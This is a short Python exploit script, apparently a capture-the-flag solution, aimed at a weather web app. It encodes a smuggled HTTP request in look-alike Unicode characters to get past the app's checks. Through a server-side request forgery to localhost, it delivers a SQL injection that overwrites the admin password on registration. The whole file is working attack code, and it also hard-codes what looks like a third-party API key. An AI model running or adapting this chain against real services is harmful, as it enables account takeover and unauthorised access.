from collections import defaultdict import random import sys import os import requests LATIN_START = "00020" LATIN_END = "007E" LATIN_MAP = {"0d": "\r", "0a": "\n"} UNICODE_MAP = defaultdict(list) SUPP_START_CODE = "00A0" CYR_END_CODE = "04FF" BLACKLIST_CHARS = ['0378', '0379'] def unicodifiy(to_translate): for char in range(int(LATIN_START, 16), int(LATIN_END, 16)): k = chr(char) LATIN_MAP[hex(char).split('x')[-1]] = k for char in range(int(SUPP_START_CODE, 16), int(CYR_END_CODE, 16)): truncval = hex(ord(chr(char)))[-2:] if truncval not in LATIN_MAP.keys(): continue c = chr(char) if char in [int(x, 16) for x in BLACKLIST_CHARS]: continue UNICODE_MAP[LATIN_MAP[truncval]].append(c) chars = [] for ss in to_translate: for k,v in UNICODE_MAP.items(): if ss == k: chars.append(random.choice(v)) translated = "".join(chars) return translated request = """/ HTTP/1.1 host: localhost POST /register HTTP/1.1 Host: localhost POST /register HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 84 username=admin&password=admin')+ON+CONFLICT(username)+DO+UPDATE+SET+password+=+10+-- GET http://api.openweathermap.org/data/2.5/weather?q=Budapest,HU&units=metric&appid=10a62430af617a949055a46fa6dec32f̠ HTTP/1.1 host: api.openweathermap.org Connection: Keep-Alive """ sess = requests.Session() URL = "http://######.###:####" ENDPOINT = "/api/weather" HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/json", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "referrer": "http://localhost:1337/"} DATA = b'''{ "endpoint":"127.0.0.1/''' + unicodifiy(request).encode() + b'''#", "city":"Budapest", "country":"HU"}''' r = sess.post(url=URL+ENDPOINT,data=DATA,headers=HEADERS) print(r.text)